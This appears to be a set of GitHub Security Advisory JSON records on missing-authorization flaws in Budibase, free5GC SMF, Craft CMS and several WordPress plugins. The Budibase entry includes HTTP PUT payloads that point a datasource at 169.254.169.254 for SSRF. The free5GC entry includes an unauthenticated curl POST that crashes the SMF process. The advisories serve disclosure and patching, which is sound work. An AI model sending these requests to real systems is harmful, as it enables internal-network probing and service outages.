CWE-862

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bottelet/flarepoint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-22107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-07T20:37:12Z",
    "nvd_published_at": "2022-01-05T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Daybyday CRM, versions 2.0.0 through 2.2.0 are vulnerable to Missing Authorization. An attacker that has the lowest privileges account (employee type user), can view the appointments of all users in the system including administrators. However, this type of user is not authorized to view the calendar at all.",
  "id": "GHSA-44gv-fgcj-w546",
  "modified": "2022-01-07T20:37:12Z",
  "published": "2022-01-08T00:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22107"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bottelet/DaybydayCRM/commit/a0392f4a4a14e1e3fedaf6817aefce69b6bd661b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Bottelet/DaybydayCRM"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2022-22107"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Missing Authorization in DayByDay CRM"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-11378"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-18T04:16:05Z",
    "severity": "MODERATE"
  },
  "details": "The ShortPixel Image Optimizer \u2013 Optimize Images, Convert WebP \u0026 AVIF plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027shortpixel_ajaxRequest\u0027 AJAX action in all versions up to, and including, 6.3.4. This makes it possible for authenticated attackers, with Contributor-level access and above, to export and import site options.",
  "id": "GHSA-44j2-7x4f-pq34",
  "modified": "2025-10-18T06:30:25Z",
  "published": "2025-10-18T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11378"
    },
    {
      "type": "WEB",
      "url": "https://github.com/short-pixel-optimizer/shortpixel-image-optimiser/commit/74263060acafbaf63b4a34f339a8b0dc35f2cad9"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3379473%40shortpixel-image-optimiser\u0026new=3379473%40shortpixel-image-optimiser\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/CVE-2025-11378"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1f7e9eb5-e222-43fa-a14f-b9cbced6b8f5?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-31545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T13:15:48Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in WP Messiah Safe Ai Malware Protection for WP allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Safe Ai Malware Protection for WP: from n/a through 1.0.20.",
  "id": "GHSA-44jr-xc7x-rpwx",
  "modified": "2026-04-01T18:34:16Z",
  "published": "2025-03-31T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31545"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/safe-ai-malware-protection-for-wp/vulnerability/wordpress-safe-ai-malware-protection-for-wp-plugin-1-0-20-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T17:59:47Z",
    "nvd_published_at": "2026-05-27T18:16:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nBudibase exposes a REST API for datasource management. The route `PUT /api/datasources/:datasourceId` is registered in the `authorizedRoutes` group with `TABLE/READ` permission. This is the same authorization level as the read endpoint (`GET /api/datasources/:datasourceId`). Every authenticated Budibase app user with the `BASIC` built-in role or higher carries `TABLE/WRITE` (and therefore `TABLE/READ`) permissions, and the datasource update controller performs no additional builder check.\n\nAs a result, any authenticated non-builder app user can submit a `PUT` request to rewrite a datasource\u0027s `config` object \u2014 including the connection `host`, `port`, database credentials, or the base `url` of a REST datasource. Because no network-level SSRF protection is applied to SQL driver connections, redirecting a PostgreSQL/MySQL/MongoDB datasource to an internal IP address succeeds and the attacker can probe or interact with internal services on arbitrary ports.\n\n## Code evidence\n\n### Route registration \u2014 wrong authorization group\n\n```\npackages/server/src/api/routes/datasource.ts, line 35-37\n```\n\n```typescript\nauthorizedRoutes\n  .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n  .put(\"/api/datasources/:datasourceId\", datasourceController.update)   // \u003c-- should be builderRoutes\n```\n\nAll destructive (create/delete/verify) operations are gated behind `builderRoutes`:\n\n```typescript\nbuilderRoutes\n  .get(\"/api/datasources\", datasourceController.fetch)\n  .post(\"/api/datasources/verify\", datasourceController.verify)\n  .post(\"/api/datasources\", datasourceValidator(), datasourceController.save)\n  .delete(\"/api/datasources/:datasourceId/:revId\", datasourceController.destroy)\n```\n\nThe `update` route shares the same authorization group as the read route, not the builder group.\n\n### Authorization middleware allows BASIC-role users\n\n```\npackages/server/src/middleware/authorized.ts, lines 46-50\npackages/backend-core/src/security/permissions.ts, lines 82-90\npackages/backend-core/src/security/roles.ts, lines 162-169\n```\n\n`authorizedRoutes` is defined with `authorized(PermissionType.TABLE, PermissionLevel.READ)`.\n\nWhen `doesHaveBasePermission(TABLE, READ, rolesHierarchy)` is evaluated for a BASIC-role user:\n\n- `BASIC` role \u2192 `BuiltinPermissionID.WRITE`\n- `WRITE` permission includes `PermissionImpl(PermissionType.TABLE, PermissionLevel.WRITE)`\n- `getAllowedLevels(WRITE)` returns `[WRITE, READ]`\n- Therefore `TABLE/READ` is satisfied \u2192 user is authorized\n\nBASIC is the lowest non-public authenticated built-in role. Any end-user account added to a Budibase app will be assigned at minimum the BASIC role.\n\n### Controller performs no additional builder check\n\n```\npackages/server/src/api/controllers/datasource.ts, lines 207-255\n```\n\n```typescript\nexport async function update(ctx) {\n  const db = context.getWorkspaceDB()\n  const datasourceId = ctx.params.datasourceId\n  const baseDatasource = await sdk.datasources.get(datasourceId)  // no builder guard\n  await invalidateVariables(baseDatasource, ctx.request.body)\n\n  const dataSourceBody: Datasource = isBudibaseSource\n    ? { name: ..., type: ..., source: SourceName.BUDIBASE }\n    : ctx.request.body                                              // attacker-controlled config\n\n  let datasource: Datasource = {\n    ...baseDatasource,\n    ...sdk.datasources.mergeConfigs(dataSourceBody, baseDatasource),  // merges attacker config\n  }\n\n  const response = await db.put(sdk.tables.populateExternalTableSchemas(datasource))  // persisted\n  ...\n}\n```\n\n### mergeConfigs does not protect non-password connection fields\n\n```\npackages/server/src/sdk/workspace/datasources/datasources.ts, lines 278-316\n```\n\n`mergeConfigs` only replaces `PASSWORD_REPLACEMENT` sentinel values back to the stored secret. Fields like `host`, `port`, `database`, `url`, `ssl` are taken from the update payload without restriction:\n\n```typescript\n// update back to actual passwords for everything else\nfor (let [key, value] of Object.entries(update.config)) {\n  if (value !== PASSWORD_REPLACEMENT) {\n    continue          // non-password fields pass through unchanged\n  }\n  ...\n}\n```\n\n## Attack scenarios\n\n### Scenario 1: SSRF via SQL driver connection redirection\n\n1. Attacker is a BASIC-role user of a Budibase app that has a PostgreSQL (or MySQL/MongoDB) datasource.\n2. Attacker sends:\n   ```http\n   PUT /api/datasources/\u003cdatasource_id\u003e HTTP/1.1\n   Host: target\n   Authorization: Bearer \u003capp-user-token\u003e\n   Content-Type: application/json\n\n   {\n     \"config\": {\n       \"host\": \"169.254.169.254\",\n       \"port\": 5432,\n       \"database\": \"postgres\",\n       \"user\": \"postgres\",\n       \"password\": \"PASSWORD_REPLACEMENT\"\n     }\n   }\n   ```\n3. Datasource config is persisted with `host: 169.254.169.254`.\n4. Any subsequent query execution against this datasource (`POST /api/queries/execute`) causes Budibase\u0027s PostgreSQL driver to open a TCP connection to `169.254.169.254:5432` on the internal network.\n5. Unlike REST connector SSRF (which has an IP deny list), SQL driver connections are made at the OS network level without HTTP-layer filtering, bypassing the existing SSRF mitigation introduced for REST connectors.\n\n### Scenario 2: SSRF via REST datasource URL change\n\n1. Same setup with a REST datasource.\n2. Attacker sends:\n   ```http\n   PUT /api/datasources/\u003cdatasource_id\u003e HTTP/1.1\n   ...\n   {\n     \"config\": {\n       \"url\": \"http://169.254.169.254/latest/meta-data/\"\n     }\n   }\n   ```\n3. If the `IMPORT_IP_DENY_LIST` equivalent for Budibase\u0027s REST connector is not configured, the fetch proceeds and the response is visible in query results.\n4. Even with IP restrictions on the REST connector, the attacker can point the URL to any public-facing internal service (e.g., a staging server, internal API).\n\n### Scenario 3: Datasource disruption / DoS\n\nAn attacker with BASIC permissions can overwrite the datasource config with garbage values, breaking all application queries that depend on that datasource for all users of the app.\n\n## Minimal PoC shape\n\n```http\nPUT /api/datasources/\u003ctarget_datasource_id\u003e HTTP/1.1\nHost: \u003cbudibase-host\u003e\nAuthorization: Bearer \u003cbasic-user-access-token\u003e\nContent-Type: application/json\n\n{\n  \"name\": \"Modified\",\n  \"source\": \"POSTGRES\",\n  \"type\": \"datasource\",\n  \"config\": {\n    \"host\": \"169.254.169.254\",\n    \"port\": 5432,\n    \"database\": \"postgres\",\n    \"user\": \"postgres\",\n    \"password\": \"PASSWORD_REPLACEMENT\",\n    \"ssl\": false\n  }\n}\n```\n\nExpected secure behavior:\n- Return `403 Forbidden` \u2014 only builder/admin users should be allowed to update datasource configurations.\n\nObserved source behavior:\n- Config is persisted to CouchDB and all future queries against the datasource use the attacker-supplied connection parameters.\n\n## Impact\n\n| Dimension | Assessment |\n|---|---|\n| Privileges required | Authenticated BASIC-role app user (lowest non-public role) |\n| User interaction | None |\n| Confidentiality | High \u2014 SSRF to cloud metadata or internal services |\n| Integrity | High \u2014 overwrites datasource used by all app users |\n| Availability | High \u2014 can break all queries by injecting invalid config |\n\nInitial severity estimate: **High (CVSS ~8.1)**\n\n## Why this is distinct from known CVEs\n\n| CVE / GHSA | Root cause | Different because |\n|---|---|---|\n| CVE-2026-31818 (SSRF in REST connector) | `IMPORT_IP_DENY_LIST` not set by default | That fixed HTTP-level filter; SQL driver connections bypass HTTP-layer protection entirely |\n| GHSA-2g39-332f-68p9 (RBAC privilege escalation) | Creator role could create Admin roles | Different mechanism \u2014 role creation, not route auth bypass |\n| GHSA-gw94-hprh-4wj8 (Universal auth bypass) | `?/webhooks/trigger` param bypassed auth | Completely different attack primitive |\n| GHSA-726g-59wr-cj4c (PostgreSQL dump command injection) | Unsanitized connection params in backup path | Different vector \u2014 this is write access to live connection config |\n\nThe root cause here is a **route-level authorization misconfiguration**: `PUT /api/datasources/:id` is registered in the wrong endpoint group (`authorizedRoutes` vs `builderRoutes`).\n\n## Fix direction\n\nMove the `PUT /api/datasources/:datasourceId` route from `authorizedRoutes` to `builderRoutes`:\n\n```diff\n- authorizedRoutes\n-   .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n-   .put(\"/api/datasources/:datasourceId\", datasourceController.update)\n\n+ authorizedRoutes\n+   .get(\"/api/datasources/:datasourceId\", datasourceController.find)\n\n+ builderRoutes\n+   .put(\"/api/datasources/:datasourceId\", datasourceController.update)\n```\n\n## Submission note\n\nCurrent state: source-confirmed candidate.\nRuntime reproduction (HTTP request against live Budibase instance) has not been executed in this session.\nBudibase has an active GHSA process \u2014 security reports via GitHub Security Advisories should receive triage within days based on historical pattern.",
  "id": "GHSA-44m2-crh7-f4q2",
  "modified": "2026-06-08T23:51:41Z",
  "published": "2026-05-15T17:59:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-44m2-crh7-f4q2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45717"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.38.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: `PUT /api/datasources/:datasourceId` is protected only by `TABLE/READ` permission instead of builder access, allowing any authenticated app user to overwrite datasource connection parameters including host, port, and URL"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-56767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T19:16:43Z",
    "severity": "HIGH"
  },
  "details": "Maxun before 0.0.42 contains a cross-tenant insecure direct object reference vulnerability in storage and webhook API handlers that allows authenticated users to access other users\u0027 robots and OAuth tokens. Attackers can read plaintext Google and Airtable access tokens, modify, delete, or execute other users\u0027 robots by bypassing ownership checks in API endpoints.",
  "id": "GHSA-44p3-ph5c-h5h3",
  "modified": "2026-06-25T21:31:30Z",
  "published": "2026-06-25T21:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56767"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getmaxun/maxun/issues/1079"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getmaxun/maxun/pull/1088"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getmaxun/maxun/commit/11db0257531f1c23dec94727793c9444ee2873cf"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/maxun-cross-tenant-idor-in-storage-and-webhook-api-handlers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-46195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-02T12:15:11Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in CoSchedule Headline Analyzer allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Headline Analyzer: from n/a through 1.3.1.",
  "id": "GHSA-44p5-527f-xg43",
  "modified": "2026-04-23T15:34:13Z",
  "published": "2025-01-02T12:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46195"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/headline-analyzer/vulnerability/wordpress-headline-analyzer-plugin-1-3-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-33941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T08:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Avirtum iPanorama 360 WordPress Virtual Tour Builder.This issue affects iPanorama 360 WordPress Virtual Tour Builder: from n/a through 1.8.1.",
  "id": "GHSA-44pf-j36r-3g58",
  "modified": "2026-04-28T21:35:03Z",
  "published": "2024-05-03T09:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33941"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/ipanorama-360-virtual-tour-builder-lite/wordpress-ipanorama-360-plugin-1-8-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.9.13"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.9.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.17.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.17.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T17:12:21Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n\nAn authenticated low-privileged user can call `assets/preview-file` for an asset they are not authorized to view and still receive preview response data (`previewHtml`) for that private asset.\n\nThe returned preview HTML included a private preview image route containing the target private `assetId`, even though `canView` was `false` for the attacker account.\n\n### Details\n\n1. `assets/preview-file` accepts a maliciously controlled `assetId` and renders preview output.\n2. The action does not enforce per-asset view authorization prior to returning preview content.\n 3. As a result, an authenticated user without asset-view permission can still obtain private preview output.\n\nThis affects Craft installations with authenticated users of mixed privilege levels with private assets.\n\n### Resources\n\n- d30df3112220db1ffd6726a3ed11857014c7fb27\n- b1cddf72c98a",
  "id": "GHSA-44px-qjjc-xrhq",
  "modified": "2026-03-26T17:12:21Z",
  "published": "2026-03-26T17:12:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-44px-qjjc-xrhq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/b1cddf72c98a66801beb04ea4b07e72182b7b7db"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/d30df3112220db1ffd6726a3ed11857014c7fb27"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS: Authorized asset \"preview file\" requests bypass allows users without asset access to retrieve private preview metadata"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-2557"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-09T06:16:09Z",
    "severity": "MODERATE"
  },
  "details": "The WPCS \u2013 WordPress Currency Switcher Professional plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save function in versions up to, and including, 1.1.9. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to edit an arbitrary custom drop-down currency switcher.",
  "id": "GHSA-44q4-5m88-44qj",
  "modified": "2026-04-08T21:31:55Z",
  "published": "2023-07-06T21:15:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2557"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/2911049/currency-switcher"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d4c79242-5c89-40c0-abcc-c112f7a64a74?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/smf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-617",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:47:24Z",
    "nvd_published_at": "2026-05-27T17:16:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nfree5GC\u0027s SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF\u0027s SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.\n\n### Details\nValidated against the SMF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/smf:v4.2.1`\n- Runtime SMF commit: `8385c00a`\n- Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`)\n- SMF endpoint: `http://10.100.200.6:8000`\n\nThe broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:\n\nVulnerable handler dispatches into topology parsing:\n```\nPOST /upi/v1/upNodesLinks\n -\u003e UpNodesFromConfiguration()\n   -\u003e isOverlap(allUEIPPools)\n     -\u003e logger.InitLog.Fatalf(\"overlap cidr value between UPFs\")\n```\n\nCode evidence (paths in `free5gc/smf`):\n- UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability):\n  - `NFs/smf/internal/sbi/server.go:76`\n  - `NFs/smf/internal/sbi/server.go:78`\n- Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`:\n  - `NFs/smf/internal/sbi/api_upi.go:60`\n  - `NFs/smf/internal/sbi/api_upi.go:72`\n- Pool parsing (input from attacker JSON):\n  - `NFs/smf/internal/context/user_plane_information.go:413`\n- Overlap check that calls `Fatalf`:\n  - `NFs/smf/internal/context/user_plane_information.go:479`\n\nThe same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler:\n- `NFs/smf/internal/context/user_plane_information.go:416`\n- `NFs/smf/internal/context/user_plane_information.go:424`\n- `NFs/smf/internal/context/user_plane_information.go:430`\n\n### PoC\nReproduced end-to-end against the running SMF at `http://10.100.200.6:8000`.\n\n1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`):\n```\ncurl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"links\":[{\"A\":\"gNB1\",\"B\":\"UPF-OVERLAP-20260322\"}],\"upNodes\":{\"UPF-OVERLAP-20260322\":{\"type\":\"UPF\",\"nodeID\":\"198.51.100.20\",\"addr\":\"198.51.100.20\",\"sNssaiUpfInfos\":[{\"sNssai\":{\"sst\":1,\"sd\":\"010203\"},\"dnnUpfInfoList\":[{\"dnn\":\"internet\",\"pools\":[{\"cidr\":\"10.60.0.0/16\"}]}]}]}}}\u0027\n```\n\nClient-side observation (server died mid-request, no HTTP response written):\n```\ncurl: (52) Empty reply from server\n```\n\n2. Confirm the SMF container exited:\n```\ndocker ps -a --filter name=smf --format \u0027{{.Names}}\\t{{.Status}}\u0027\n```\n```\nsmf    Exited (1) 9 seconds ago\n```\n\n3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process:\n```\n[FATA][SMF][Init] overlap cidr value between UPFs\n```\n\n### Impact\nUnauthenticated process-kill DoS on the SMF management plane.\n\n1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI.\n2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin\u0027s recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.\n\nAny party that can reach SMF on the SBI can:\n- Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF\u0027s SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted.\n- Repeat the trigger after every restart to sustain the outage.\n- Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler.\n\nNo Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/906\nUpstream fix: https://github.com/free5gc/smf/pull/203",
  "id": "GHSA-44qj-cghf-9p97",
  "modified": "2026-06-08T23:47:19Z",
  "published": "2026-05-08T22:47:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-44qj-cghf-9p97"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44321"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/906"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/smf/pull/203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/smf/commit/e0974e07ddab44a67d36a563cca383b2449e33e5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC\u0027s SMF UPI POST /upi/v1/upNodesLinks exits the SMF process on overlapping UE pools (unauthenticated, reachable Fatalf)"
}